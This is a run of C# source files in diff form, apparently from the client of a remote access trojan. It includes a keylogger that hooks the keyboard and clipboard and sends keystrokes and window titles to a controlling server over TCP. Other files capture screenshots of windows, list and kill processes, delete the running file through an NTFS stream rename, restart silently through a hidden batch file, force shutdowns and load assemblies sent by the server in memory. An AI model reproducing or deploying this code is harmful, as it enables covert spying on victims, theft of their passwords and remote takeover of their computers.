||||
SetWindowLong(hWnd, -20, style | 0x02000000);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
};
|
||||
if (Native.EnumDesktopWindows(IntPtr.Zero, lpEnumCallbackFunction, IntPtr.Zero))
|
||||
{
|
||||
var bitmap = new Bitmap(screenx, screeny);
|
||||
var num = t.Count - 1;
|
||||
for (var i = num; i >= 0; i += -1)
|
||||
try
|
||||
{
|
||||
var lpRect = default(Native.RECT);
|
||||
Native.GetWindowRect(t[i], ref lpRect);
|
||||
var image = new Bitmap(lpRect.Right - lpRect.Left + 1, lpRect.Bottom - lpRect.Top + 1);
|
||||
var graphics = Graphics.FromImage(image);
|
||||
var hdc = graphics.GetHdc();
|
||||
try
|
||||
{
|
||||
if (HigherThan81)
|
||||
Native.PrintWindow(t[i], hdc, 2u);
|
||||
else
|
||||
Native.PrintWindow(t[i], hdc, 0u);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.TCP_Socket.Log(ex.Message);
|
||||
}
|
||||
|
||||
graphics.ReleaseHdc(hdc);
|
||||
graphics.FillRectangle(Brushes.Gray, lpRect.Right - lpRect.Left - 10,
|
||||
lpRect.Bottom - lpRect.Top - 10, 10, 10);
|
||||
var graphics2 = Graphics.FromImage(bitmap);
|
||||
graphics2.DrawImage(image, lpRect.Left, lpRect.Top);
|
||||
}
|
||||
catch (Exception projectError2)
|
||||
{
|
||||
ProjectData.SetProjectError(projectError2);
|
||||
}
|
||||
|
||||
var bitmap2 = new Bitmap(bitmap, (int) Math.Round(screenx * resize),
|
||||
(int) Math.Round(screeny * resize));
|
||||
var encoder = get_Codec("image/jpeg");
|
||||
var encoderParameters = new EncoderParameters(1);
|
||||
encoderParameters.Param[0] = new EncoderParameter(Encoder.Quality, quality);
|
||||
var stream = new MemoryStream();
|
||||
bitmap2.Save(stream, encoder, encoderParameters);
|
||||
var bitmap3 = (Bitmap) Image.FromStream(stream);
|
||||
bitmap2.Dispose();
|
||||
GC.Collect();
|
||||
result = bitmap3;
|
||||
return result;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
try
|
||||
{
|
||||
result = ReturnBMP();
|
||||
|
||||
return result;
|
||||
}
|
||||
catch (Exception projectError3)
|
||||
{
|
||||
ProjectData.SetProjectError(projectError3);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static ImageCodecInfo get_Codec(string type)
|
||||
{
|
||||
if (type == null) return null;
|
||||
var array = codecs;
|
||||
foreach (var imageCodecInfo in array)
|
||||
if (Operators.CompareString(imageCodecInfo.MimeType, type, false) == 0)
|
||||
return imageCodecInfo;
|
||||
return null;
|
||||
}
|
||||
|
||||
public static Bitmap ReturnBMP()
|
||||
{
|
||||
var bitmap = new Bitmap(screenx, screeny);
|
||||
using (var graphics = Graphics.FromImage(bitmap))
|
||||
{
|
||||
var brush = (SolidBrush) Brushes.Red;
|
||||
graphics.FillRectangle(brush, 0, 0, screenx, screeny);
|
||||
}
|
||||
|
||||
return bitmap;
|
||||
}
|
||||
|
||||
public static bool Isgreaterorequalto81()
|
||||
{
|
||||
var oSVersion = Environment.OSVersion;
|
||||
var version = oSVersion.Version;
|
||||
if (oSVersion.Platform == PlatformID.Win32NT)
|
||||
{
|
||||
var major = version.Major;
|
||||
if (major == 6 && version.Minor != 0 && version.Minor != 1) return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
public static void CloseTop()
|
||||
{
|
||||
var intPtr = lastactivebar;
|
||||
Native.SendMessage((int) intPtr, 16, 0, 0);
|
||||
}
|
||||
|
||||
public static void RestoreMaxTop()
|
||||
{
|
||||
var intPtr = lastactivebar;
|
||||
if (Native.IsZoomed(intPtr))
|
||||
Native.ShowWindow(intPtr, 9);
|
||||
else
|
||||
Native.ShowWindow(intPtr, 3);
|
||||
}
|
||||
|
||||
public static void MinTop()
|
||||
{
|
||||
var hWnd = lastactivebar;
|
||||
Native.ShowWindow(hWnd, 6);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,281 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing.Drawing2D;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
using MessagePack;
|
||||
using Microsoft.Win32.SafeHandles;
|
||||
|
||||
namespace Client.HandlePacket
|
||||
{
|
||||
|
||||
public class ClipboardNotification : Form
|
||||
{
|
||||
public ClipboardNotification()
|
||||
{
|
||||
SetParent(Handle, HWND_MESSAGE);
|
||||
AddClipboardFormatListener(Handle);
|
||||
}
|
||||
|
||||
protected override void WndProc(ref Message m)
|
||||
{
|
||||
if (m.Msg == WM_CLIPBOARDUPDATE)
|
||||
{
|
||||
if (HandleKeylogger.online)
|
||||
{
|
||||
var msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "keyLogger";
|
||||
msgpack.ForcePathObject("log").AsString =
|
||||
$"\n### Clipboard ###\n{Clipboard.GetCurrentText()}\n";
|
||||
Program.TCP_Socket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
|
||||
if (HandleKeylogger.offline)
|
||||
{
|
||||
FileStream fs = new FileStream(HandleKeylogger.path, FileMode.Append, FileAccess.Write, FileShare.ReadWrite);
|
||||
var buffer = Encoding.UTF8.GetBytes($"\n### Clipboard ###\n{Clipboard.GetCurrentText()}\n");
|
||||
fs.Write(buffer, 0, buffer.Length);
|
||||
fs.Flush();
|
||||
}
|
||||
}
|
||||
base.WndProc(ref m);
|
||||
}
|
||||
|
||||
private const int WM_CLIPBOARDUPDATE = 0x031D;
|
||||
private static IntPtr HWND_MESSAGE = new IntPtr(-3);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
private static extern bool AddClipboardFormatListener(IntPtr hwnd);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern IntPtr SetParent(IntPtr hWndChild, IntPtr hWndNewParent);
|
||||
}
|
||||
|
||||
internal static class Clipboard
|
||||
{
|
||||
public static string GetCurrentText()
|
||||
{
|
||||
string ReturnValue = string.Empty;
|
||||
Thread STAThread = new Thread(
|
||||
delegate ()
|
||||
{
|
||||
ReturnValue = System.Windows.Forms.Clipboard.GetText();
|
||||
});
|
||||
STAThread.SetApartmentState(ApartmentState.STA);
|
||||
STAThread.Start();
|
||||
STAThread.Join();
|
||||
|
||||
return ReturnValue;
|
||||
}
|
||||
}
|
||||
|
||||
public static class HandleKeylogger
|
||||
{
|
||||
public static bool online = false;
|
||||
public static bool offline = false;
|
||||
public static ClipboardNotification clipboardNotification;
|
||||
public static string path = Path.Combine(Path.GetTempPath(),"KL.log");
|
||||
|
||||
public static void Run()
|
||||
{
|
||||
_hookID = SetHook(_proc);
|
||||
clipboardNotification = new ClipboardNotification();
|
||||
Application.Run(clipboardNotification);
|
||||
}
|
||||
|
||||
public static void Stop()
|
||||
{
|
||||
UnhookWindowsHookEx(_hookID);
|
||||
clipboardNotification.Close();
|
||||
}
|
||||
|
||||
private static IntPtr SetHook(LowLevelKeyboardProc proc)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (Process curProcess = Process.GetCurrentProcess())
|
||||
using (ProcessModule curModule = curProcess.MainModule)
|
||||
{
|
||||
return SetWindowsHookEx(WHKEYBOARDLL, proc,
|
||||
GetModuleHandle(curModule.ModuleName), 0);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
if (online)
|
||||
Packet.Error(ex.Message);
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
}
|
||||
|
||||
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
|
||||
{
|
||||
int vkCode = Marshal.ReadInt32(lParam);
|
||||
bool capsLockPressed = (GetKeyState(0x14) & 0xffff) != 0;
|
||||
bool shiftPressed = (GetKeyState(0xA0) & 0x8000) != 0 || (GetKeyState(0xA1) & 0x8000) != 0;
|
||||
string currentKey = KeyboardLayout((uint)vkCode);
|
||||
|
||||
if (capsLockPressed || shiftPressed)
|
||||
{
|
||||
currentKey = currentKey.ToUpper();
|
||||
}
|
||||
else
|
||||
{
|
||||
currentKey = currentKey.ToLower();
|
||||
}
|
||||
|
||||
if ((Keys)vkCode >= Keys.F1 && (Keys)vkCode <= Keys.F24)
|
||||
currentKey = "[" + (Keys)vkCode + "]";
|
||||
else
|
||||
{
|
||||
switch (((Keys)vkCode).ToString())
|
||||
{
|
||||
case "Space":
|
||||
currentKey = " ";
|
||||
break;
|
||||
case "Return":
|
||||
currentKey = "[ENTER]\n";
|
||||
break;
|
||||
case "Escape":
|
||||
currentKey = "[ESC]\n";
|
||||
break;
|
||||
case "Back":
|
||||
currentKey = "[Back]";
|
||||
break;
|
||||
case "Tab":
|
||||
currentKey = "[Tab]\n";
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!string.IsNullOrEmpty(currentKey))
|
||||
{
|
||||
StringBuilder sb = new StringBuilder();
|
||||
if (CurrentActiveWindowTitle == GetActiveWindowTitle())
|
||||
{
|
||||
sb.Append(currentKey);
|
||||
}
|
||||
else
|
||||
{
|
||||
sb.Append(Environment.NewLine);
|
||||
sb.Append(Environment.NewLine);
|
||||
sb.Append($"### {GetActiveWindowTitle()} | {DateTime.Now.ToShortTimeString()} ###");
|
||||
sb.Append(Environment.NewLine);
|
||||
sb.Append(currentKey);
|
||||
}
|
||||
if (online)
|
||||
{
|
||||
var msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "keyLogger";
|
||||
msgpack.ForcePathObject("log").AsString = sb.ToString();
|
||||
Program.TCP_Socket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
|
||||
if (offline)
|
||||
{
|
||||
FileStream fs = new FileStream(path, FileMode.Append, FileAccess.Write, FileShare.ReadWrite);
|
||||
var buffer = Encoding.UTF8.GetBytes(sb.ToString());
|
||||
fs.Write(buffer, 0, buffer.Length);
|
||||
fs.Flush();
|
||||
}
|
||||
}
|
||||
}
|
||||
return CallNextHookEx(_hookID, nCode, wParam, lParam);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
}
|
||||
|
||||
private static string KeyboardLayout(uint vkCode)
|
||||
{
|
||||
try
|
||||
{
|
||||
StringBuilder sb = new StringBuilder();
|
||||
byte[] vkBuffer = new byte[256];
|
||||
if (!GetKeyboardState(vkBuffer)) return "";
|
||||
uint scanCode = MapVirtualKey(vkCode, 0);
|
||||
IntPtr keyboardLayout = GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), out uint processId));
|
||||
ToUnicodeEx(vkCode, scanCode, vkBuffer, sb, 5, 0, keyboardLayout);
|
||||
return sb.ToString();
|
||||
}
|
||||
catch { }
|
||||
return ((Keys)vkCode).ToString();
|
||||
}
|
||||
|
||||
private static string GetActiveWindowTitle()
|
||||
{
|
||||
try
|
||||
{
|
||||
const int nChars = 256;
|
||||
StringBuilder stringBuilder = new StringBuilder(nChars);
|
||||
IntPtr handle = GetForegroundWindow();
|
||||
GetWindowThreadProcessId(handle, out uint pid);
|
||||
if (GetWindowText(handle, stringBuilder, nChars) > 0)
|
||||
{
|
||||
CurrentActiveWindowTitle = stringBuilder.ToString();
|
||||
return CurrentActiveWindowTitle;
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
return "???";
|
||||
}
|
||||
|
||||
#region "Hooks & Native Methods"
|
||||
|
||||
private const int WM_KEYDOWN = 0x0100;
|
||||
private static readonly LowLevelKeyboardProc _proc = HookCallback;
|
||||
private static IntPtr _hookID = IntPtr.Zero;
|
||||
private static readonly int WHKEYBOARDLL = 13;
|
||||
private static string CurrentActiveWindowTitle;
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
|
||||
|
||||
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern IntPtr GetModuleHandle(string lpModuleName);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
static extern IntPtr GetForegroundWindow();
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true, CallingConvention = CallingConvention.Winapi)]
|
||||
public static extern short GetKeyState(int keyCode);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
static extern bool GetKeyboardState(byte[] lpKeyState);
|
||||
[DllImport("user32.dll")]
|
||||
static extern IntPtr GetKeyboardLayout(uint idThread);
|
||||
[DllImport("user32.dll")]
|
||||
static extern int ToUnicodeEx(uint wVirtKey, uint wScanCode, byte[] lpKeyState, [Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl);
|
||||
[DllImport("user32.dll")]
|
||||
static extern uint MapVirtualKey(uint uCode, uint uMapType);
|
||||
|
||||
#endregion
|
||||
|
||||
}
|
||||
}
|
|
@ -0,0 +1,153 @@
|
|||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Net;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using MessagePack;
|
||||
|
||||
namespace Client.HandlePacket
|
||||
{
|
||||
internal class HandleNetwork
|
||||
{
|
||||
public static string GetIpAddress(long ipAddrs)
|
||||
{
|
||||
try
|
||||
{
|
||||
var ipAddress = new IPAddress(ipAddrs);
|
||||
return ipAddress.ToString();
|
||||
}
|
||||
catch
|
||||
{
|
||||
return ipAddrs.ToString();
|
||||
}
|
||||
}
|
||||
|
||||
public static Native.UdpRow[] GetAllUdpConnections()
|
||||
{
|
||||
Native.UdpRow[] tTable;
|
||||
var AF_INET = 2; // IP_v4
|
||||
var buffSize = 0;
|
||||
var ret = Native.GetExtendedUdpTable(IntPtr.Zero, ref buffSize, true, AF_INET,
|
||||
Native.UDP_TABLE_CLASS.UDP_TABLE_OWNER_PID);
|
||||
var buffTable = Marshal.AllocHGlobal(buffSize);
|
||||
try
|
||||
{
|
||||
ret = Native.GetExtendedUdpTable(buffTable, ref buffSize, true, AF_INET,
|
||||
Native.UDP_TABLE_CLASS.UDP_TABLE_OWNER_PID);
|
||||
if (ret != 0) return new Native.UdpRow[0];
|
||||
var tab = (Native.UdpTable) Marshal.PtrToStructure(buffTable, typeof(Native.UdpTable));
|
||||
var rowPtr = (IntPtr) ((long) buffTable + Marshal.SizeOf(tab.dwNumEntries));
|
||||
tTable = new Native.UdpRow[tab.dwNumEntries];
|
||||
|
||||
for (var i = 0; i < tab.dwNumEntries; i++)
|
||||
{
|
||||
var udpRow = (Native.UdpRow) Marshal.PtrToStructure(rowPtr, typeof(Native.UdpRow));
|
||||
tTable[i] = udpRow;
|
||||
rowPtr = (IntPtr) ((long) rowPtr + Marshal.SizeOf(udpRow)); // next entry
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
Marshal.FreeHGlobal(buffTable);
|
||||
}
|
||||
|
||||
return tTable;
|
||||
}
|
||||
|
||||
public static Native.MIB_TCPROW_OWNER_PID[] GetAllTcpConnections()
|
||||
{
|
||||
Native.MIB_TCPROW_OWNER_PID[] tcpConnectionRows;
|
||||
var AF_INET = 2; // IPv4
|
||||
var buffSize = 0;
|
||||
|
||||
var ret = Native.GetExtendedTcpTable(IntPtr.Zero, ref buffSize, true, AF_INET,
|
||||
Native.TCP_TABLE_TYPE.TCP_TABLE_OWNER_PID_ALL, 0);
|
||||
if (ret != 0 && ret != 122)
|
||||
throw new Exception("Error occurred when trying to query tcp table, return code: " + ret);
|
||||
var buffTable = Marshal.AllocHGlobal(buffSize);
|
||||
|
||||
try
|
||||
{
|
||||
ret = Native.GetExtendedTcpTable(buffTable, ref buffSize, true, AF_INET,
|
||||
Native.TCP_TABLE_TYPE.TCP_TABLE_OWNER_PID_ALL, 0);
|
||||
if (ret != 0) throw new Exception("Error occurred when trying to query tcp table, return code: " + ret);
|
||||
|
||||
var table = (Native.MIB_TCPTABLE_OWNER_PID) Marshal.PtrToStructure(buffTable,
|
||||
typeof(Native.MIB_TCPTABLE_OWNER_PID));
|
||||
var rowPtr = (IntPtr) ((long) buffTable + Marshal.SizeOf(table.dwNumEntries));
|
||||
tcpConnectionRows = new Native.MIB_TCPROW_OWNER_PID[table.dwNumEntries];
|
||||
|
||||
for (var i = 0; i < table.dwNumEntries; i++)
|
||||
{
|
||||
var tcpRow =
|
||||
(Native.MIB_TCPROW_OWNER_PID) Marshal.PtrToStructure(rowPtr,
|
||||
typeof(Native.MIB_TCPROW_OWNER_PID));
|
||||
tcpConnectionRows[i] = tcpRow;
|
||||
rowPtr = (IntPtr) ((long) rowPtr + Marshal.SizeOf(tcpRow));
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
Marshal.FreeHGlobal(buffTable);
|
||||
}
|
||||
|
||||
return tcpConnectionRows;
|
||||
}
|
||||
|
||||
public static void NetstatList()
|
||||
{
|
||||
try
|
||||
{
|
||||
var sb = new StringBuilder();
|
||||
var tcpProgressInfoTable = GetAllTcpConnections();
|
||||
var udpRows = GetAllUdpConnections();
|
||||
|
||||
var tableRowCount = tcpProgressInfoTable.Length;
|
||||
for (var i = 0; i < tableRowCount; i++)
|
||||
{
|
||||
var row = tcpProgressInfoTable[i];
|
||||
var source = $"{GetIpAddress(row.localAddr)}:{row.LocalPort}";
|
||||
var dest = $"{GetIpAddress(row.remoteAddr)}:{row.RemotePort}";
|
||||
sb.Append("TCP" + "-=>" + row.owningPid + "-=>" +
|
||||
Process.GetProcessById(row.owningPid).ProcessName + "-=>" + source + "-=>" + dest +
|
||||
"-=>" + (Native.TCP_CONNECTION_STATE) row.state + "-=>");
|
||||
}
|
||||
|
||||
var tableRowCount2 = udpRows.Length;
|
||||
for (var i = 0; i < tableRowCount2; i++)
|
||||
{
|
||||
var row = udpRows[i];
|
||||
var source = $"{GetIpAddress(row.localAddr)}:{row.LocalPort}";
|
||||
var dest = "*:*";
|
||||
sb.Append("UDP" + "-=>" + row.owningPid + "-=>" +
|
||||
Process.GetProcessById(row.owningPid).ProcessName + "-=>" + source + "-=>" + dest +
|
||||
"-=>" + "" + "-=>");
|
||||
}
|
||||
|
||||
var msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "network";
|
||||
msgpack.ForcePathObject("Message").AsString = sb.ToString();
|
||||
Program.TCP_Socket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.TCP_Socket.Log(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public static void Kill(int ID)
|
||||
{
|
||||
foreach (var process in Process.GetProcesses())
|
||||
try
|
||||
{
|
||||
if (process.Id == ID) process.Kill();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.TCP_Socket.Log(ex.Message);
|
||||
}
|
||||
|
||||
NetstatList();
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,162 @@
|
|||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Management;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace Client.HandlePacket
|
||||
{
|
||||
internal class HandleOption
|
||||
{
|
||||
public static void Stop()
|
||||
{
|
||||
Disconnnect();
|
||||
Environment.Exit(0);
|
||||
}
|
||||
|
||||
public static void Disconnnect()
|
||||
{
|
||||
try
|
||||
{
|
||||
Helper.Helper.CloseMutex();
|
||||
Program.ClientWorking = false;
|
||||
Program.TCP_Socket?.CloseConnection();
|
||||
Program.listener?.Stop();
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
public static string GetCommandLineArgsCore(Process process)
|
||||
{
|
||||
using (var searcher = new ManagementObjectSearcher(
|
||||
"SELECT CommandLine FROM Win32_Process WHERE ProcessId = " + process.Id))
|
||||
using (var objects = searcher.Get())
|
||||
{
|
||||
var @object = objects.Cast<ManagementBaseObject>().SingleOrDefault();
|
||||
return @object["CommandLine"].ToString();
|
||||
}
|
||||
}
|
||||
|
||||
public static void Restart()
|
||||
{
|
||||
Disconnnect();
|
||||
string arg = Environment.CommandLine;
|
||||
if (string.IsNullOrEmpty(arg)) return;
|
||||
var batch = Path.GetTempFileName() + ".bat";
|
||||
using (var sw = new StreamWriter(batch))
|
||||
{
|
||||
sw.WriteLine("@echo off");
|
||||
sw.WriteLine("chcp 65001");
|
||||
sw.WriteLine("timeout 3 > NUL");
|
||||
sw.WriteLine("START \"\" " + "\"" + arg + "\"");
|
||||
sw.WriteLine("CD " + Path.GetTempPath());
|
||||
sw.WriteLine("DEL " + "\"" + Path.GetFileName(batch) + "\"" + " /a /f /q");
|
||||
}
|
||||
|
||||
Process.Start(new ProcessStartInfo()
|
||||
{
|
||||
FileName = batch,
|
||||
CreateNoWindow = true,
|
||||
ErrorDialog = false,
|
||||
UseShellExecute = false,
|
||||
WindowStyle = ProcessWindowStyle.Hidden
|
||||
});
|
||||
Environment.Exit(0);
|
||||
}
|
||||
|
||||
public static void Update(byte[] NewFile)
|
||||
{
|
||||
try
|
||||
{
|
||||
var path = Process.GetCurrentProcess().MainModule.FileName;
|
||||
DeleteSelf();
|
||||
File.WriteAllBytes(path, NewFile);
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
public static void DeleteSelf()
|
||||
{
|
||||
try
|
||||
{
|
||||
var ads = ":self";
|
||||
var path = Process.GetCurrentProcess().MainModule.FileName;
|
||||
var hCurrent = Native.CreateFileW(path, (uint)0x80110000L, 0x1, IntPtr.Zero, 3, 0x80, IntPtr.Zero);
|
||||
var fileInformation = new Native.FILE_RENAME_INFO
|
||||
{
|
||||
ReplaceIfExists = 0,
|
||||
RootDirectory = IntPtr.Zero,
|
||||
FileName = ads,
|
||||
FileNameLength = (uint)Encoding.Unicode.GetBytes(ads).Length
|
||||
};
|
||||
var bsize = Marshal.SizeOf(fileInformation);
|
||||
var pfi = Marshal.AllocHGlobal(bsize);
|
||||
Marshal.StructureToPtr(fileInformation, pfi, false);
|
||||
Native.SetFileInformationByHandle(hCurrent, Native.FileInformationClass.FileRenameInfo, pfi, bsize);
|
||||
Marshal.FreeHGlobal(pfi);
|
||||
Native.CloseHandle(hCurrent);
|
||||
hCurrent = Native.CreateFileW(path, (uint)0x80110000L, 0x1, IntPtr.Zero, 3, 0x80, IntPtr.Zero);
|
||||
var fileInformation2 = new Native.FILE_DISPOSITION_INFO
|
||||
{
|
||||
DeleteFile = true
|
||||
};
|
||||
pfi = Marshal.AllocHGlobal(bsize);
|
||||
Marshal.StructureToPtr(fileInformation2, pfi, false);
|
||||
Native.SetFileInformationByHandle(hCurrent, Native.FileInformationClass.FileDispositionInfo, pfi, bsize);
|
||||
Marshal.FreeHGlobal(pfi);
|
||||
Native.CloseHandle(hCurrent);
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
public static void ReBoot()
|
||||
{
|
||||
Disconnnect();
|
||||
var proc = new Process
|
||||
{
|
||||
StartInfo = new ProcessStartInfo
|
||||
{
|
||||
FileName = "cmd",
|
||||
Arguments = "/c Shutdown /r /f /t 00",
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
CreateNoWindow = true
|
||||
}
|
||||
};
|
||||
proc.Start();
|
||||
}
|
||||
|
||||
public static void PowerOff()
|
||||
{
|
||||
Disconnnect();
|
||||
var proc = new Process
|
||||
{
|
||||
StartInfo = new ProcessStartInfo
|
||||
{
|
||||
FileName = "cmd",
|
||||
Arguments = "/c Shutdown /s /f /t 00",
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
CreateNoWindow = true
|
||||
}
|
||||
};
|
||||
proc.Start();
|
||||
}
|
||||
|
||||
public static void LogOut()
|
||||
{
|
||||
Disconnnect();
|
||||
var proc = new Process
|
||||
{
|
||||
StartInfo = new ProcessStartInfo
|
||||
{
|
||||
FileName = "cmd",
|
||||
Arguments = "/c Shutdown /l /f",
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
CreateNoWindow = true
|
||||
}
|
||||
};
|
||||
proc.Start();
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,126 @@
|
|||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Security.Cryptography;
|
||||
using System.Security.Policy;
|
||||
using System.Text;
|
||||
using MessagePack;
|
||||
using Microsoft.CSharp;
|
||||
|
||||
namespace Client.HandlePacket
|
||||
{
|
||||
internal class HandlePlugin
|
||||
{
|
||||
|
||||
public static List<AppDomain> appDomains = new List<AppDomain>();
|
||||
|
||||
public static void PluginLoad(string appdomainName, byte[] assemblyBytes)
|
||||
{
|
||||
PluginUnload(appdomainName);
|
||||
|
||||
if (Program.ClrVersion == 4)
|
||||
{
|
||||
assemblyBytes = ReplaceBytes(assemblyBytes, Encoding.UTF8.GetBytes("v2.0.50727"), Encoding.UTF8.GetBytes("v4.0.30319"));
|
||||
}
|
||||
|
||||
var appDomain = loadAppDomainModule("pluginMain", appdomainName, assemblyBytes);
|
||||
if (appDomain != null) appDomains.Add(appDomain);
|
||||
}
|
||||
|
||||
public static void PluginUnload(string appdomainName)
|
||||
{
|
||||
foreach (var item in appDomains)
|
||||
if (item.FriendlyName == appdomainName)
|
||||
AppDomain.Unload(item);
|
||||
}
|
||||
|
||||
|
||||
public class ShadowRunner : MarshalByRefObject
|
||||
{
|
||||
public string[] LoadAssembly(byte[] assembly, string[] args, string sMethod)
|
||||
{
|
||||
var asm = Assembly.Load(assembly);
|
||||
var test = new string[] { };
|
||||
foreach (var type in asm.GetTypes())
|
||||
foreach (var method in type.GetMethods())
|
||||
if (method.Name.ToLower().Equals(sMethod.ToLower()))
|
||||
test = (string[])method.Invoke(null, new object[] { args });
|
||||
return test;
|
||||
}
|
||||
}
|
||||
|
||||
public static AppDomain loadAppDomainModule(string sMethod, string sAppDomain, byte[] bMod)
|
||||
{
|
||||
var oDomain = AppDomain.CreateDomain(sAppDomain, null, null, null, false);
|
||||
var runner = (ShadowRunner)oDomain.CreateInstanceAndUnwrap(typeof(ShadowRunner).Assembly.FullName,
|
||||
typeof(ShadowRunner).FullName);
|
||||
var result = runner.LoadAssembly(bMod, new[] { Program.Mutex }, sMethod);
|
||||
if (result == null) return null;
|
||||
switch (result[0])
|
||||
{
|
||||
case "Null":
|
||||
{
|
||||
AppDomain.Unload(oDomain);
|
||||
return null;
|
||||
}
|
||||
|
||||
case "Stop":
|
||||
{
|
||||
AppDomain.Unload(oDomain);
|
||||
HandleOption.Stop();
|
||||
return null;
|
||||
}
|
||||
|
||||
case "Delete":
|
||||
{
|
||||
AppDomain.Unload(oDomain);
|
||||
HandleOption.DeleteSelf();
|
||||
HandleOption.Stop();
|
||||
return null;
|
||||
}
|
||||
|
||||
default:
|
||||
{
|
||||
var msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = result[0];
|
||||
msgpack.ForcePathObject("Message").AsString = result[1];
|
||||
Program.TCP_Socket.Send(msgpack.Encode2Bytes());
|
||||
AppDomain.Unload(oDomain);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] ReplaceBytes(byte[] src, byte[] search, byte[] repl)
|
||||
{
|
||||
if (repl == null) return src;
|
||||
int index = FindBytes(src, search);
|
||||
if (index < 0) return src;
|
||||
byte[] dst = new byte[src.Length - search.Length + repl.Length];
|
||||
Buffer.BlockCopy(src, 0, dst, 0, index);
|
||||
Buffer.BlockCopy(repl, 0, dst, index, repl.Length);
|
||||
Buffer.BlockCopy(src, index + search.Length, dst, index + repl.Length, src.Length - (index + search.Length));
|
||||
return dst;
|
||||
}
|
||||
|
||||
public static int FindBytes(byte[] src, byte[] find)
|
||||
{
|
||||
if (src == null || find == null || src.Length == 0 || find.Length == 0 || find.Length > src.Length) return -1;
|
||||
for (int i = 0; i < src.Length - find.Length + 1; i++)
|
||||
{
|
||||
if (src[i] == find[0])
|
||||
{
|
||||
for (int m = 1; m < find.Length; m++)
|
||||
{
|
||||
if (src[i + m] != find[m]) break;
|
||||
if (m == find.Length - 1) return i;
|
||||
}
|
||||
}
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
}
|
|
